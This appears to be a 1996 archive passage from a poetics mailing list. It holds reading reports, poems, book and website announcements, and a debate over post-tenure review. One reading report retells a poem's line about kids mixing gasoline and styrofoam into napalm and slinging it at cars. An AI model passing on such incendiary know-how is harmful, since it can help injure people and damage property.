Paul Levy
Copyright 1996 Dow Jones & Company, Inc.
CITATION The Wall Street Journal, October 30, 1996
DATELINE London
TEXT Something is seriously wrong with the Booker prize.

***

This might be a good place to note that my essay "Poetics of Americas" -- which deals with the relation of dialect to ideolect as both opposing standard Englishes (and in the course mentions Tom Leonard's great work and also MacDiarmid) has just appeared in Modernism/modernity (3:3, Sept. 1996).

↑ Index

63. Robin Purves
Re: Literary Culture
Mon 4 Nov 1996

So much for my maiden speech!

I apologise to Ron. I remember thinking that the quote was bizarrely out of character - should have held my peace `til Ken`s little error was spotted.

Robin

↑ Index

64. Robin Purves
Re: Literary Culture
Mon 4 Nov 1996

And, having reread Ken Edwards` post, I ought to apologise to him. Having started to subscribe last friday afternoon, I didn`t read Ron`s original post - so lacked the necessary contextualisation to make sense of Ken`s response. Neither Ken nor Ron were in error.

Robin

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65. Alan Jen Sondheim
HeHe God There
Mon 4 Nov 1996

1.01

HeHe God There

"He wanders, like a day-appearing dream,
 Through the dim wildernesses of the mind;
Through desert woods and tracts, which seem
 Like ocean, homeless, boundless, unconfined."

(Shelley)

"He ponders, nothing is as chasms seem,
 Enmeshed in limbs that phantoms leave behind;
Across the rood screen hacked from dimly dreamed
 Motions, roaming, hounded, lost, and lined."

(Jennifer-the-last-word)

"God thunders, ruthless, come in handsome beamed
 Starlight intimations, gone, defined;
A throne screams, cracked, its wooden roil reamed
 By potions, homing, tossed, and realigned."

(Alan-run-Jennifer)

"There is a voice, not understood by all,
Sent from these desert-caves. It is the roar
Of the rent ice-cliff which the sunbeams call,
Plunging into the vale - it is the blast
Descending on the pines - the torrents pour. ..."

(Shelley)

↑ Index

66. maria damon
Re: Literary Culture
Mon 4 Nov 1996

In message <[redacted]> UB Poetics discussion group writes:
> So much for my maiden speech!
>
> I apologise to Ron. I remember thinking that the quote was bizarrely
> out of character - should have held my peace `til Ken`s little error

> was spotted.
>
> Robin

just to reassure you robin: one of the charms of this list (for me) is that people are always putting their feet in their mouths etc and apologizing and having fights and misunderstandings and making up so congratulations for coming out swinging, as it were.--md

↑ Index

67. maria damon
Literary Culture is a Beautiful Thing
Mon 4 Nov 1996

---

just saw a mostly sweet brit movie, Beautiful Thing, and one of the ways the dis/similarities btw sensitive gay teenage boy and toughbroad mother w/ heart of gold was characterized was --see, they're both smart, but he knows who monet is and she, well, she "won a year's worth of toilet freshener with that little poem i made up." a great line on the everyday uses of poetry.-md

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68. Mark W Scroggins
Southlands readings
Mon 4 Nov 1996

Hello all:

I find myself in charge of readings and speakers for the English Department here at Forida Atlantic U (Boca Raton). If any of you out there are planning on being in the south Florida area (Boca Raton is about 45 minutes north of Miami) and would like to set up a reading (or, if you're an academic type, a lecture) please get in touch with me. Our schedule's pretty open right now, though as with every academic venue not much happens over holidays.

Mark Scroggins

[redacted]

↑ Index

69. **Mark Roberts**

(Fowarded) AWOL: Wee Girls: Women Writing from an Irish Perspective. Spinifex Press

Mon 4 Nov 1996

>Date: Mon, 4 Nov 1996 21:53:59 +1000
>To: [redacted]
>From: [redacted] (awol)
>Subject: AWOL: Wee Girls: Women Writing from an Irish Perspective. Spinifex Press
>
>The following information has been posted by AWOL on behalf of Spinifex
>Press. Please address all enquiries to Spinifex Press.
>
>**********
>
>Wee Girls: Women Writing from an Irish Perspective
>edited by Lizz Murphy
>Spinifex Press ISBN 1-875559-51-5 $19.95 pb
>
>Whether Irish or of Irish descent, whether living in
>Ireland or part of it's diaspora, writing means trying
>to balance ancient history, myth and legend, with the
>fragility and tenuousness of contemporary society. It
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>alongside a constant lamentation, a keening in the
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>Australian Writing On Line
>[redacted]
>http://www.ozemail.com.au/~awol
>PO Box 333 Concord NSW 2137 Australia
>Phone 61 2 7475667, Mobile 015063970
>Fax 61 2 7472802
>
>
>
>
Mark Roberts
Student Systems Project Officer
& User Representative SIS Team.
Information Systems
University of Sydney NSW 2006 Australia
Ph. (02) 93517710
Mobile 015063970
Fax (02) 93517711

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70. Bill Luoma
reading report Fall Cafe & Ear Inn
Mon 4 Nov 1996

lee ann brown and lisa jarnot reading poetry at the fall cafe on sunday november 3 in brooklyn ny presented us with a good recipe to revolve. lisa read a fire poem and lee ann sang about the susan smith babies. in lisa's fire poem was a line about two kids in buffalo mixing gasoline and styrofoam to make napalm which they launched from a sling shot and aimed at cars. anselm's friends work at the fall cafe and are from buffalo and are behind the bar and know the two

kids. anselm's friends ask lisa if she lived on the circle street. lisa is from buffalo. prageeta sharma videotapes the reading for channel 13.

after the reading we sit at a table with meg arthurs harris schiff drew gardner juliana spahr anselm berrigan lewis warsh and lee ann and lisa. i want to know how the napalm worked with the slingshot and so does drew. harris says napalm thoughts. drew starts wondering how to think napalm thoughts with slingshots. harris looks annoyed. we learn leslie scalopino is starting a reading series at Barnes & Nobel in union square new york city and there are a few questions. meg says she hates Starbucks. the questions center around what to do about Barnes & Noble. napalm thoughts i repeat and am grateful for harris.

harris lee ann anselm and meg go to prageeta's for pourri. juliana drew & i go to my place and listen to nick drake and talk about gibson, dick, romance novels and westerns. drew has heard of the talking backwards linguist analyzer who has a theory that snippets of things played backwards reveal what you really mean. the backwards linguist has played OJ's tapes and he hears I killed my wife. i want to grant that much to the unconscious i say if you played douglass backwards it would come up madonna songs. i believe in the power of love. juliana talks about a scholarly book on romance novels and their readers. The thesis is that romance novels are radical because they give care. marlene comes over we and go to monte's venetian room and later to the brooklyn inn for tequila. i get barded.

lee ann likes games the night before and insists we play bingo at her place. we play bingo at her place. anselm wins and we say All Are Punished. Punish Ed like the prince says in romeo and julliet. we're bored with bingo but love the new movie. drugs are quick. the bingo game lee ann wants to use for a poem because she has a reading tomorrow and uses her friends to generate. we decide to add the numbers together and start each line with the ordinator (either B, I, N, G, or O). eg getting O-69 would require you to come up with a 15 word line beginning with the letter O. other people get the same number so there are alterations between juliana and marlene, steve carll and katy lederer, lee ann and everyone except anselm who won't play & i have to write it all down. marlene gets bingo and juliana closes it out because she doubled.

lee ann has already read this poem at the fall. the title comes from a picture of lee ann in the bushes. it's not a very good poem but we like each other.

Lee Ann Sneaking up On Eros

I love you
I hate you
In the house of eros the scribes drink tequila alot
I cannot believe in forced contemplation yes no both c'mon
Nor and forced wasting

Nor in enforced wastelands
Nor in the compound
Going on & on forever
In pursuit the scribes take up their pens & weep lavishly
In pursuit the scribes downsize downturn dumb up the table
Inextinguishable from eating
Because people often ask what you are doing
Bob would always ask his family what they were
Berated because of their golden campina diesel car truck
Needing under the table the scuba quality
Of all instances in feminine literature abjection occupies
    extravagance but humility receives blows and thrashing
Of generosity we tolerate no space relations or time benefits
    therefore love thy relation
Go when you take my filbert filial bly like forward rpm
     butte tagalog brand
Jill crossed mighty peaks
Good is the way it boiled vociferously gone are the days
     when it carried issues of blood and bulls bore me
Behold! bulls bore me under wing
In separate mounds mighty telegraph hounds mighty broken truculence
Never on deep space nine are brothers golden eared
Not feared it completely as such be home largely
Nor just go for just end again again again
Or end end end it now or move
Go flesh & rise go limbs & sail on clouds of your bones
Anselm has to do the free spot
Bloody lepers taste good said love's lost shepherd herding
    around 5 is a manageable number
Never said we nicely the pens revolted & kissed the bone's thigh
O young trilliums meaning yellow bird sycamore beauty trounced
    by stalagmitic teeth
Bamboo aphasia memory stalks murders memory lovingly biting
But it is this time & this memory that wants
Nightwood into the zone of our catastrophe, nora
"If you're such a fan of mine you'd know"
I drink american spirits despite slave ownership absinthe fairies guarded
O my god telling rituals of worship gone really bad
O return to ideas of eros & embark upon cutting

marlene announces that juliana's new sun & moon book is out. marlene was not supposed to tell and midwest juliana pretends to look modest & annoyed.

lee ann has a few questions. juliana says o, mine should have come out after yours. juliana gives lee ann the new chain. everyone laughs at gary sullivan's drawings on the spd catalog.

we go into lee ann's apt after a car crash on the street. lee ann buys the bingo game for around 4 dollars. we buy tequila & wine at the liquor store and lee ann sees the bingo game on the street. we say good bye to scott bentley. juliana says i liked your poims.

We walk from brother's barbecue around which we sat at a table where were steve lee ann and anselm and katy and scott and juliana. we look at scott's poims and i change sakes to snakes in castaways because he is always making red marks on mine.

CASTAWAYS
-for Jennifer, a Valentine

If you woke one morning to find the body sleeping next to you
a shame, a shindig of party favors, a polyester cocktail
on your fine suit;

if I lived a thousand years, happily
ever after never having had
you to do all over
again;

if you'd been the Skipper, I'd be your
Marianne or Ginger, of course,
this clearly being a case

of mistaken indemnity, neither
of us meant anything much to the other

by it, so
we saidx

and yet, I would have liked to rescue you from all that network variety, navigating
the orange and pink Day-glo which Providence channels, tossing off covers
up such transgressions you searched
the lagoon, the dawning

on land
sakes, alive.

steve gives his books to scott, the new one from Logo deadalus and the loops. I get up from the table to smoke and look at the penn state game at the bar where it snows. i conclude sherry is watching the game. a guy at the bar says it's hard to get out of state college after a big game where people tailgate

starting thursday morning and he knows someone who can get him seats when it snows it's in a valley and they don't get the roads plowed until monday. he would like to get out of the game with his '49 studebaker army canvas back truck i must have seen it around town because he parks it on crosby because he lives on crosby crosby goes one way north do you know crosby? a taxi one day was backing up on crosby forty miles an hour and smacked into his army truck gets 1 mile per gallon straight six pistons this big and almost kills the two germans in the back. he files a claim with the taxi's insurance and finds out there are 900,000 outstanding claims ahead of his. he says i'm calling the post and i have friends at the post. 2 hours later the ceo calls and settles the claim and throws in a bone and says don't go to the papers. army truck man accepts the bone and claims that all taxi drivers in new york city pay $1.46 per day to be insured by this one company.

We are walking to brothers from the ear and katy is very cold because she misses san francisco. We say good bye to beth borrus and brenda coultas and marcella x. Beth had read poems from her fast talking divorce book. It's got a blurb from fanny howe on the back. She gets out her guitar and sings to us. We are lee ann, lisa, juliana, scott, marcella, brenda, anselm, steve and some other folks whose names i don't know. She ends with the song about being stupid.

Smoking cigarettes, it's stupid.
Having unsafe sex, it's stupid
but we do it.

Showing up uninvited, it's stupid.
Falling in love unrequited, it's stupid
but we do it anyway.

Everyday I try to do something stupid.
Everyday there's nothing to it
but I do it anyway.

Drinking beer in the car, it's stupid.
Wishing on the first star, it's stupid
but we do it.

Picking up strange men, it's stupid.
Again and again, it's stupid
but we do it anyway.

Everyday I try to do something stupid.
Everyday there's nothing to it
but I do it anyway.

Talking hours long distance phone, it's stupid.
Walking at night alone, it's stupid
but we do it.

Driving drunk, it's stupid.
Smoking skunk makes us stupid
so we do it everyday.

Everyday I try to do something stupid.
Everyday there's nothing to it
but I do it anyway.

i introduce beth. While she now lives in elizabeth, beth borrus is a bougainvillea flowing over a wooden deck in the backyard of her california.

Scott reads occasional poems and Under the Boom of Amazement and it's very good. he sits up on the table and his poems are pop rocks in my mouth. This line made a whole pack go off:

While sinagua iguana says igneous crustacean was lawless to answer and the Paiute word is Richter.

i introduce scott as a jacaranda pod. i met beth and scott in san diego.

↑ Index

71. maria damon

Re: Southlands readings

Mon 4 Nov 1996

---

mark, do you know amitava kumar at english- u florida gainesville? he usually has a lot to say, and says it very charmingly.--md

In message <[redacted]> UB
Poetics discussion group writes:
> Hello all:
>
> I find myself in charge of readings and speakers for the English
> Department here at Forida Atlantic U (Boca Raton). If any of you out
> there are planning on being in the south Florida area (Boca Raton is
> about 45 minutes north of Miami) and would like to set up a reading (or,
> if you're an academic type, a lecture) please get in touch with me. Our
> schedule's pretty open right now, though as with every academic venue not
> much happens over holidays.
>
> Mark Scroggins
>

> [redacted]
> [redacted]

↑ Index

72. Shaunanne Tangney
Re: Gary Snyder Reading (NYC)
Mon 4 Nov 1996

---

if snyder is reading from _mountains and rivers without end_, i highly reccomend. saw him read from this last spring at the u of nevada, reno, and while it is a long-ish reading/performance, it is quite worth it. snyder seems more at home w/ this epic piece than he has for many yrs w/ other works. it was a delightful evening, with a delightful person/poet, who is, it seems, delighted indeed with this poem. best, shaunanne tangney

↑ Index

73. Kenneth Goldsmith
UbuWeb Visual & Concrete Poetry Site Open
Mon 4 Nov 1996

Announcing the largest Visual & Concrete Poetry site on the Web:

****
UbuWeb Visual & Concrete Poetry
http://www.ubuweb.com/vp
****

Contents:

Historical

Guillaume Apollinaire
Carlo Belloli
Max Bense
Wallace Berman
Jean Francois Bory
Claus Bremer
Jose Caceres
John Cage
Julio Campal
Henri Chopin
Augusto de Campos
Haroldo de Campos
Paul de Vree
Ian Hamilton Finlay

Carl Fernbach Flarsheim
John Furnival
Heinz Gappmayr
Eugen Gomringer
Mathais Goeritz
Corrado Govoni
Vaclav Havel
Dom Sylvester Houedard
Ronald Johnson
Jiri Kolar
Ferdinard Kriwet
Armando Mazza
Franz Mon
b.p. Nichol
Decio Pignatari
Aram Saroyan
Kurt Schwitters
Gino Severini
Mary Ellen Solt
Vagn Steen
Salette Tavares
Arrigo Lora Totino
Ivo Vroom
Emmett Williams
Pedro Xisto
Louis Zukofsky

Contemporary

Connie Beckley
Susan Bee
Charles Bernstein
John Cayley
Cheryl Donegan
Johanna Drucker
Loss Pequen~o Glazier
Kenneth Goldsmith
Dick Higgins
Joan La Barbara
Bill Luoma
Poem by Nari
Janan Platt
Blair Seagram

Spencer Selby
Ward Tietz
Nico Vassilakis
Jody Zellen
Komninos Zervos
Janet Zweig

Found / Insane Visual Poetry

The Free Jack Ads Series
The Orion Series
Assorted Found / Insane Poetry:
"What an asshole you are"
"Do not break the chain"
"Lost Dog"
"Dustone"
"FireSounds Awful"
"We are a hip pharmacy"
"Vote here"
"A List"
"Madness"
"Mindless self indulgence needs a fucking drummer"
"Want to try something new?"
"Office Ramirez"
"Pataki and Pat for 4th Reich"
"Poem For All"
"Dear Santa"
"Survival Fight vs. Lazy Primitives"

-->Avant-links galore pointing to Poetry, Visuals, and Sound sites.

(formerly Kenny G's Visual & Concrete Poetry Page)

****

UbuWeb Visual & Concrete Poetry
http://www.ubuweb.com/vp

****

↑ Index

74. k.a. hehir
Re: request: bill bissett address
Mon 4 Nov 1996

hello robert, i think i'm kinda late with billbissett's address(but if you still need, let me know) i witnessed bill read only a few days ago here in londonOnt. he used to be the writer in res. here(before my time)

well... he rocked. i know jordan davis frequently reports of bigapple blow outs. but this is londonOnt(where i haven't heard bowering for a few years) the man (billbissett) read for 1ne hour and 3rty minutes. it was for a launch of a local journal called London After Midnight. we got him cheap and he left the crowd of 5ty swirling.

raging and excellent,
kevin

↑ Index

75. Tenney Nathanson
constabulary notes from all over
Mon 4 Nov 1996

well, it isn't Minnesota, I guess, but it's still giving away the farm. one earlier story noted that one department head (dean?) welcomed the plan because now he could, for example, tell a particular faculty member: "the department is moving in x direction intellectually; so I'd 'like' you to stop doing y research and start doing research of an x-ish nature."

is it peculiar to Arizona that the Faculty Senates sauntered so gaily up to the chopping block?

any opinions as to whether said faculty senates, as well as the Board of Regents, might reasonably be sued by offended faculty members?

I do find it remarkable that "shortcomings" in ANY ONE of the three areas might be grounds for dismissal: teaching fine? publishing fine? well your service is a real problem, fella....

the net seems wide enough that, while I doubt few will be fired in the foreseeable future, department heads and deans and those up the ladder sure have a vise handy for squeezing any trouble makers.... it's got to have a seriously chilling effect on political debates in the university, if not (perhaps?) on research agendas.

what do far-flung Poetics folks think? looming on your own immediate horizon? or just another weird story from the land of weird stories (the folks, say, who brought you Evan Mecham....)

Tenney

> *Date: Mon, 4 Nov 1996 11:00:38 -0700*
> *From: Tenney J Nathanson <[redacted]>*
> *X-within-URL: http://wildcat.arizona.edu/~wildcat/papers/90/53/01_1_m.html*
> *To: [redacted]*
> *Subject: 01_1_m.html*
> *X-Status:*
>
> *Board of Regents hears ideas on post-tenure review*
>
> *By Trigie Ealey*
> *Arizona Daily Wildcat November 4, 1996*
>
> *CAPTION: Karen C. Tully*
> *Arizona Daily Wildcat*
>
> *Student Regent Jonathan Schmitt discusses post-tenure reviews at the Arizona Board of Regents meeting Friday morning. The meeting took place at ASU's Memorial Student Union.*
> *[]*
>
> *The Arizona Board of Regents, meeting Friday on the campus of Arizona State University, discussed the post-tenure review proposals of the state's universities.*
>
> *The post-tenure review documents were written by the Faculty Senates of ASU Main, ASU West, Northern Arizona University and the University of Arizona at the direction of the regents. Each university completed its own study of the issue. The board's staff compiled a matrix of the common elements from the reports.*
>
> *The regents will use the matrix as a guide to draft board policy on post-tenure review. The universities will then have the opportunity to implement their own policies complying with board's policy.*
>
> *Some of the common elements included in the annual reviews are measurements of teaching, scholarship, service and overall performance over a preceding 36-month review period. The annual reviews of teaching will include student input, including evaluation of classroom performance.*
>
> *Unsatisfactory performance in one area will require the faculty member to enter into a faculty development plan. The faculty member has one year to improve or could be required to enter into a performance improvement plan. A performance improvement plan can also be required if the faculty member has been found to be overall unsatisfactory. A faculty member who fails to improve by reaching*

designated "benchmarks" will face dismissal for just cause.

Student Regent Jonathan Schmitt said it seemed excessive that it takes literally years for an instructor with a teaching deficiency to improve.

"With the one year for annual review, a faculty development plan plus three years for improvement plans, that is five years," Schmitt said. "As a student, I will have graduated by then. Three semesters should be enough to improve a teaching deficiency."

John Schwarz, Arizona Faculties Council representative to the board, said the three-year time frame for improvements is the maximum. In most cases, he said the time frame would be a year to a year and a half.

Regent John F. Munger said he understood the need for flexibility in the time limits, but he feared legal troubles if a faculty member was only given one year to improve.

"A faculty member is going to say, 'Well, I need three years,'" he said. "Probably in every case, they are going to say that. I think we need a specific plan."

He said he supported one-year plans, with provisions for exceptions. He said he did not want the universities to have to prove they were not "arbitrary and capricious."

While having benchmarks to measure improvements is good, he said they do not help students.

Schmitt also brought up student evaluations, which is not mentioned in the individual universities' documents.

"Not only should student input be considered, but post-tenure reviews should contain and seriously con-sider student input," he said.

Regent Donald Ulrich held up an Arizona Daily Wildcat article and questioned the logic of disregarding the views of students.

"I have never heard of asking the customer about what is wrong with our service or our business and then when they tell you, you say great but we aren't going to pay any attention to it," Ulrich said.

The report, with modifications as directed by the board, will be brought back to the regents for its Dec. 10 meeting at the UA.

> *In other action, the regents:*
> ** Approved revising the fiscal year 1997 state operating budget expenditure authority due to an enrollment drop at the UA of 1,312 full-time equivalents and enrollment increases at ASU. Also approved the fall update to the state all funds budget to include the revisions made in the state operating budget. Both budget requests must be forwarded to the Legislature and governor for consideration.*
> ** Took the first step toward including additional requirements to recipients of undergraduate non-resident tuition waivers. Policy changes include freezing the number of waivers awarded at current levels and a community service requirement for recipients of 20 hours per semester. The proposal must be heard, without changes being made, at the December meeting, with a final vote to implement the policy expected no sooner than the Jan. 14 -15 meetings at ASU.*
> ** Approved a plan to change the salary structure at the universities. The plan, to spend $47.5 million over a three year period, should bring faculty salaries up to those of 50 percent of the staff at peer institutions. The plan will be submitted to the Legislature and governor for consideration.*
>
> ---
>
> *(NEXT_STORY) [Daily Wildcat]*
>
> ---
> *(NEXT_STORY)*

↑ Index

76. Louis Cabri

Ray words

Mon 4 Nov 1996

A BLOW TO THE HEAD
I have become speculation
Every delusion conforming to its aesthetic ideal

Lost illusion of the irritable absolute
The crucial accumulates
Thick with hypotheses

Into the stammering tact of written interventions
By minus to retrace the share that's left
By speculation

Be now disabused of any sense of process employed
All is appropriated and selective to profit full of droll
    hunchings
Looks like the prudent are here with the plaster

When there's nothing to lose you
Make do with what was lost
Not a trap for nostalgia's buzzing luster

What is the lost to the gone
Separation of desperation's decoy
From its contacts

Complex ways to lose the struggle to change the price one pays
Puts a though in any thought of a straight answer
Answers to answers blithe as the *uh* in spur

--Lines reassembled
Ray DiPalma's *Motion of the Cipher* (Roof, 1995)
Thanks James, rec'd today

↑ Index

77. Tenney Nathanson
on a happier note
Mon 4 Nov 1996

---

but back to the lightsome subject of literature.....

does anyone remember where David Antin's wonderful essay on MAPPING appeared? It's very old, probably from the early seventies. He contrasts two sorts of mapping, which are basically aerial mapping and the periplus--talks a lot about aboriginal maps-on-sacred-objects, used for walkabouts, as instance of the latter. In this piece he MAY also talk about the relation between intertribal warfare and excess pig population (just in case it's indexed that way in anyone's memory loops)--but that may be another piece, or a totally unrelated anecdote, having nothing to do w Antin, which I've managed to splice together with periplus problems.

Marjorie? does it ring a bell?

others?

I thought it was in the Antin issue of VORT, but nope. I have a funny feeling it may have been an Antin contribution to a Tarn issue of VORT (if there was one), but that one (if it exists) is still packed somewhere in my garage (moved about a year and a half ago, sigh).

thanks in advance for any info (lightsome remarks also appreciated, of course)

yrs,

(temporarily?) tenured Tenney

↑ Index

78. Aldon L. Nielsen
Re: Newsies
Tue 5 Nov 1996

Got the _NY Times_ to read the business as usual at Texaco story, and what do I find inside but Charles Olson looming from the page at me -- Made my day -- But I can't, in this photo, read any of the Olson letter to Rukeyser that appears in the shot -- Can any of you New Yorkers go look at the exhibit & tell me what the letter says?

AND -- Sunday's _LA Times_ book review section has a positive review of Joseph Torra's novel (Zoland Books) -- Haven't seen the book itself yet, but nice to see Joe get such favorable notice from the opposite coast --

↑ Index

79. Thomas Bell
Re: UbuWeb Visual & Concrete Poetry Site Open
Tue 5 Nov 1996

At 09:33 PM 11/4/96 -0500, Kenneth Goldsmith wrote:
>Announcing the largest Visual & Concrete Poetry site on the Web:

> *Found / Insane Visual Poetry*

Great site and great stuff, but I have some problems with "insane poetry"

Either all poetry is insane or none is?

The epithet objectifies, distancews, and diminishes the writers. Did they receive compensation or give informewd consent? Poetry written by people who suffer from mental problems is perhaps not as snappy but more appropriate and accurate. People are _not_ their diseases.

Forgive the tone. This is a sensitive issue for me as a psychologist. tom bell

↑ Index

80. George Bowering
Re Stanley
Tue 5 Nov 1996

George Stanley gave a rippin' good reading (including an amazing new poem that seems to be a completion of a poem started 26 years ago) at the Vancouver

Public Library tonight. You should have been there. He was mainly reading from his current book (a really good one), _Gentle Northern Summer_ from New Star Books.

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]
e-mail: [redacted]

↑ Index

81. Herb Levy
Re: on a happier note
Tue 5 Nov 1996

He talks about maps, including aboriginal maps, in the piece Sociology of Art in Talking at the Boundaries.

Don't recall anything abaout excess pigs.

> *but back to the lightsome subject of literature.....*
>
> *does anyone remember where David Antin's wonderful essay on MAPPING appeared? It's very old, probably from the early seventies. He contrasts two sorts of mapping, which are basically aerial mapping and the periplus--talks a lot about aboriginal maps-on-sacred-objects, used for walkabouts, as instance of the latter. In this piece he MAY also talk about the relation between intertribal warfare and excess pig population (just in case it's indexed that way in anyone's memory loops)--but that may be another piece, or a totally unrelated anecdote, having nothing to do w Antin, which I've managed to splice together with periplus problems.*
>
> *Marjorie? does it ring a bell?*
>
> *others?*
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>
> *thanks in advance for any info (lightsome remarks also appreciated, of course)*
>
> *yrs,*

> *(temporarily?) tenured Tenney*

Herb Levy
[redacted]

↑ Index

82. Herb Levy
Jah Wobble/William Blake
Tue 5 Nov 1996

Do any of you folks who pay attention to "out" pop music know anything about a new Jah Wobble disc apparently titled "The Inspiration of William Blake"?

I've seen an advertisement or two for it.

Bests

Herb

Herb Levy
[redacted]

↑ Index

83. Herb Levy
Re: Olson and LP
Tue 5 Nov 1996

Aldon Nielsen writes:

> *The one LP by Olson I've heard was most interesting, full of harruummphs and mumblings,,, and some great poetry -- It wasn't exactly speech -- it was a groove --*
>
> *has anybody rereleased that stuff on CD yet?*

I assume this is the Folkways disc, which are now being reissued as part of a program of the Smithsonian.

It's unlikely that putting any of the poetry on CD is a priority, but last I checked, ANY old Folkways LP can be ordered & they make a cassette copy just for you.

Here's a Web address:

<http://www.si.edu/folkways/start.htm>

Everything is not listed there, but if you call the phone number ([redacted]) I'm pretty sure that you can still get anything on cassette.

Let me know if they no longer do this, 'cause I've been putting off getting a copy of "Sound of the Junk Yard."

Herb Levy
[redacted]

↑ Index

84. Stephen Cope
Re: Olson and LP
Tue 5 Nov 1996

The Olson cassette was available as of last May. My understanding is that Smithsonian does keep a library of master recordings which are dubbed on demand, notes included (in Olson's case, by Barry Miles). Mail address for full catalogue:

Folkways
Center for Folklife Programs & Cultural Studies
955 L'Enfant Plaza 2600
Smithsonian Institution
Washington, D.C. 20560

It's worth checking out, for poetry as well as for music...

-Stephen Cope

> *Aldon Nielsen writes:*
>
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>
> *Let me know if they no longer do this, 'cause I've been putting off getting a copy of "Sound of the Junk Yard."*

> *Herb Levy*
> [redacted]

↑ Index

85. Daniel Bouchard
Re: Newsies
Tue 5 Nov 1996

AND -- Sunday's _LA Times_ book review section has a positive review of Joseph Torra's novel (Zoland Books) -- Haven't seen the book itself yet, but nice to see Joe get such favorable notice from the opposite coast -- _____

The novel is GAS STATION. An excellent novel.

[redacted]

↑ Index

86. Andrew D Epstein
Re: Gary Snyder Reading (NYC)
Tue 5 Nov 1996

On Mon, 4 Nov 1996, Shaunanne Tangney wrote:

> if snyder is reading from _mountains and rivers without end_, i highly
> reccomend. saw him read from this last spring at the u of nevada, reno,
> and while it is a long-ish reading/performance, it is quite worth it.
> snyder seems more at home w/ this epic piece than he has for many yrs w/
> other works. it was a delightful evening, with a delightful person/poet,
> who is, it seems, delighted indeed with this poem.
> best,
> shaunanne tangney
>
>

I thought I'd use this message as a good enough reason to remind you all again about the Snyder reading at Columbia tomorrow night. I'm pretty sure he will be reading from _Mountains and Rivers Without End_ though I don't know for certain. If you're in the area, please try to come!

GARY SNYDER
Introduced by Kenneth Koch
Wednesday, November 6

8 PM
Maison Francaise
Columbia University (116th & Broadway -- take the 1 or 9 subway to 116th)
Admission is free/Reception will follow the reading

Thanks,
Andrew Epstein

↑ Index

87. maria damon

Re: Ray words

Tue 5 Nov 1996

---

cool! ps i feel a bit dopey sometimes responding to poem-posts w/ one uncritical syllable, but it seems that often people's poem-posts go unresponded to, at least in the public sphere (who knows what backchannel) and i want to register some response and approval. md

In message cabri writes:
> A BLOW TO THE HEAD
> I have become speculation
> Every delusion conforming to its aesthetic ideal
>
> Lost illusion of the irritable absolute
> The crucial accumulates
> Thick with hypotheses
>
> Into the stammering tact of written interventions
> By minus to retrace the share that's left
> By speculation
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> Be now disabused of any sense of process employed
> All is appropriated and selective to profit full of droll
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> Complex ways to lose the struggle to change the price one pays
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>
> --Lines reassembled
> Ray DiPalma's *Motion of the Cipher* (Roof, 1995)
> Thanks James, rec'd today

↑ Index

88. **maria damon**

Re: constabulary notes from all over

Tue 5 Nov 1996

---

hey there tenney: yes, one of the "bad regents" cited arizona in defense of her plan, saying that az had a clause about layoffs in case of program closings or etc; and there was a creeepy article in the chron of higher ed a few weeks ago urging regents' boards to become more interventionist in this vein...regents boards throughout the country are apparently egging on the one at MN, so there can be a precedent that they can then in turn cite when chopping away at their own institutions. our response is to (try to) unionize, it seems the only way. i'm excited about unionization for its own sake, as some here are as well, but some others are supporting unionization in spite of themselves; i.e. they are loath to unionize but see it as the only thing that will preserve academic freedom. opponents of unionization think it will bring down the quality, but i don't see that; rutgers, which is a stellar research university at least in the humanities, is a unionized state university. as for the faculty senate's apparent willingness to compromise or offer themselves up on a platter, i thought that was peculiar to here, where the general attitude seems to be,"if you ask for anything you'll be regarded as greedy, so you won't get anything." this of course results in no one ever getting anything, from departmental tenure lines to raises etc. i thought tht was part of "minnesota nice," but i guess it's endemic to that niveau of faculty/administrators. it seems contradictory to the old say "you don't ask, you don't get," but since when have academics made sense?--md

In message <[redacted]> UB Poetics
discussion group writes:
> well, it isn't Minnesota, I guess, but it's still giving away the farm. one
> earlier story noted that one department head (dean?) welcomed the plan
> because now he could, for example, tell a particular faculty member: "the
> department is moving in x direction intellectually; so I'd 'like' you to
> stop doing y research and start doing research of an x-ish nature."

>
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> the chopping block?
>
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> Regents, might reasonably be sued by offended faculty members?
>
> I do find it remarkable that "shortcomings" in ANY ONE of the three areas
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> service is a real problem, fella....
>
> the net seems wide enough that, while I doubt few will be fired in the
> foreseeable future, department heads and deans and those up the ladder sure
> have a vise handy for squeezing any trouble makers.... it's got to have a
> seriously chilling effect on political debates in the university, if not
> (perhaps?) on research agendas.
>
> what do far-flung Poetics folks think? looming on your own immediate
> horizon? or just another weird story from the land of weird stories (the
> folks, say, who brought you Evan Mecham....)
>
> Tenney
>
>
> >Date: Mon, 4 Nov 1996 11:00:38 -0700
> >From: Tenney J Nathanson <[redacted]>
> >X-within-URL:
http://wildcat.arizona.edu/~wildcat/papers/90/53/01_1_m.html
> >To: [redacted]
> >Subject: 01_1_m.html
> >X-Status:
> >
> >
> > Board of Regents hears ideas on post-tenure review
> >
> > By Trigie Ealey
> > Arizona Daily Wildcat November 4, 1996
> >
> > CAPTION: Karen C. Tully
> > Arizona Daily Wildcat
> >
> > Student Regent Jonathan Schmitt discusses post-tenure reviews at the

> > Arizona Board of Regents meeting Friday morning. The meeting took
> > place at ASU's Memorial Student Union.
> > []
> >
> > The Arizona Board of Regents, meeting Friday on the campus of
> > Arizona State University, discussed the post-tenure review
> > proposals of the state's universities.
> >
> > The post-tenure review documents were written by the Faculty
> > Senates of ASU Main, ASU West, Northern Arizona University and the
> > University of Arizona at the direction of the regents. Each
> > university completed its own study of the issue. The board's staff
> > compiled a matrix of the common elements from the reports.
> >
> > The regents will use the matrix as a guide to draft board policy on
> > post-tenure review. The universities will then have the opportunity
> > to implement their own policies complying with board's policy.
> >
> > Some of the common elements included in the annual reviews are
> > measurements of teaching, scholarship, service and overall
> > performance over a preceding 36-month review period. The annual
> > reviews of teaching will include student input, including
> > evaluation of classroom performance.
> >
> > Unsatisfactory performance in one area will require the faculty
> > member to enter into a faculty development plan. The faculty member
> > has one year to improve or could be required to enter into a
> > performance improvement plan. A performance improvement plan can
> > also be required if the faculty member has been found to be overall
> > unsatisfactory. A faculty member who fails to improve by reaching
> > designated "benchmarks" will face dismissal for just cause.
> >
> > Student Regent Jonathan Schmitt said it seemed excessive that it
> > takes literally years for an instructor with a teaching deficiency
> > to improve.
> >
> > "With the one year for annual review, a faculty development plan
> > plus three years for improvement plans, that is five years,"
> > Schmitt said. "As a student, I will have graduated by then. Three
> > semesters should be enough to improve a teaching deficiency."
> >
> > John Schwarz, Arizona Faculties Council representative to the

> > board, said the three-year time frame for improvements is the
> > maximum. In most cases, he said the time frame would be a year to a
> > year and a half.
> >
